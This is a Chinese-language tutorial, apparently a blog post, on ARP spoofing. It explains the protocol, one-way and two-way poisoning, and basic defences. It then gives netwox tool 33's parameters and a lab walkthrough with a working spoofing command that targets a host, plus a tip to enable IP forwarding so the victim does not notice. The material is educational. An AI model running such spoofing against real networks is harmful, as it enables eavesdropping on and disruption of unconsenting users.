ARP欺骗
一、首先我们得清楚ARP是什么东西?
ARP通常就是我们认为的ARP协议,也就是地址转换协议,工作在OSI模型的数据链路层,用来把IP地址转换为MAC地址的,而RARP与ARP相反,是反向地址转换协议,把MAC地址转换为IP地址。在以太网中,网络设备之间互相通信是用MAC地址(可以理解为姓名)而不是IP地址(名片)。
二、APR协议工作原理
我们可以假设一个场景,A需要和餐厅里找B,那么A就要向服务员D(即网关)询问B在哪并将自己的名片和姓名给服务员D,服务员D就记录在自己的本子上(即ARP表)并通过A的姓名去问所有人(即广播),当服务员D找到B后将A信息告诉B,B知道后将自己的MAC地址和IP地址给服务员D,服务员D有记录下B的MAC地址和IP地址后回去告诉A。
三、ARP欺骗原理
根据上面的例子,我们在升级一下,假设C是攻击者,那么整个过程C无论如何是不知道的,那怎么样才能让C知道呢?伪装和欺骗,C伪装成服务员D让A将信息告诉自己后(ARP协议有个缺点就是后者的会掩盖前者),在伪装成A告诉服务员D,我是A要找B,这时候服务员D把C当作是A继续上面的工作去找B,得到B信息回来后,把信息告诉C后,C就知道其中的信息了并告诉A,注意这里的本子(ARP表)的信息内容改变了的,这就是ARP双向欺骗。
单向欺骗就是A和C说,C直接和B说,而服务员D也有A的信息,但是A不去找服务员D,而是找主动的C,俗话说主动才有故事嘛!
注意:在这里我们用的自己的MAC地址,别人的IP地址
四、ARP欺骗防御
那我们怎么防御呢?
1、我们可以将本子(ARP表)的信息写死(即静态写入MAC地址与IP地址关系)这样A就不会让C有机可乘了!
2、下载杀毒软件
五、工具
我们可以使用netwox工具集里面的33号工具
################# help for tool number 33 ##################
Title: Spoof EthernetArp packet
+------------------------------------------------------------------------+
| This tool sends a fake packet on the network. |
| Each parameter name should be self explaining. |
| |
| This tool may need to be run with admin privilege in order to spoof. |
+------------------------------------------------------------------------+
Synonyms: frame, hping, mac, send
Usage: netwox 33 [-d device] [-a eth] [-b eth] [-c uint32] [-e uint32] [-f eth] [-g ip] [-h eth] [-i ip]
Parameters:
-d|--device device device for spoof {Eth0} 硬件类型
-a|--eth-src eth Ethernet src {00:0C:29:EB:02:A3} 发送方MAC地址
-b|--eth-dst eth Ethernet dst {0:8:9:a:b:c} 接收方MAC地址
-c|--eth-type uint32 Ethernet type : ARP=2054, RARP=32821 {2054} 协议类型
-e|--arp-op uint32 ARP op : 1=ARPREQ, 2=ARPREP, 3=RARPREQ, 4=RARPREP {1} 操作类型
-f|--arp-ethsrc eth ARP ethsrc {00:0C:29:EB:02:A3} 发送方MAC地址
-g|--arp-ipsrc ip ARP ipsrc {0.0.0.0} 发送方IP地址
-h|--arp-ethdst eth ARP ethdst {0:0:0:0:0:0} 接收方MAC地址
-i|--arp-ipdst ip ARP ipdst {0.0.0.0} 接收方IP地址
Example: netwox 33
Press 'r' or 'k' to run this tool, or any other key to continue
后面的选项可以对照ARP报文使用
六、例子
攻击者
MAC地址:00:0c:29:eb:02:a3
IP地址:192.168.111.129
A主机:
MAC地址:00:0C:29:F3:62:57
IP地址:192.168.111.128
B主机:
MAC地址:00-0C-29-68-9b-47
IP地址:192.168.111.130
1、首先我们要明确攻击的是A,然后攻击机分别ping通A和B,得到A和B的IP地址和MAC地址。
arp欺骗之前要选择是否开启IP路由转发,如果不开启,欺骗成功之后,目标主机会断网,这样会被对方察觉,所以想让对方断网可以不开启,而只是看看通信信息那就必须开网!!!
查看路由转发功能:cat /proc/sys/net/ipv4/ip_forward
1为打开,0为关闭
2、然后我们使用工具netxow的33号工具编辑如下语句:
aaa@qq.com:~# netwox 33 -b 00:0C:29:F3:62:57 -g 192.168.111.130 -h 00:0C:29:F3:62:57 -i 192.168.111.128
注意:在这个包里改变的是发送方的MAC地址,即我们的MAC地址,其他不变
3、攻击成功后得到的报文:
4、攻击前A主机ARP表
5、攻击后A主机ARP表
七、总结
提醒一下网络安全方面有很都工具可以进行渗透和攻击,甚至可以自己编写,只要原理明白,任何的工具只是铺助而已。